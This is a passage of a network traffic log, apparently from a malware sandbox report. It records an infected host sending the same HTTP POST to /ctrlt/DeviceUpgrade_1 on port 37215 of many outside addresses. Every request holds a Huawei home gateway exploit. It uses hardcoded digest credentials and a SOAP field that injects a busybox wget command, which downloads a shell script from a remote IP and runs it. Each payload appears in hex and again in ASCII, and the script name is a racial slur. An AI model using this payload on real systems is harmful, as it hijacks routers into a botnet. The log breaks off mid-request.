3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.15	50222	94.121.105.101	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.392235041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.15	35322	94.120.0.163	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.392425060 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.15	55612	94.120.238.159	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.392563105 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.15	54212	94.187.105.98	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.392697096 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.15	49790	94.123.7.112	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.392848015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.15	57446	94.122.227.158	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.392992020 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.15	44154	94.120.25.14	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.393138885 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.15	39772	94.122.237.232	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.393296957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.15	52944	94.121.36.232	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.393435001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 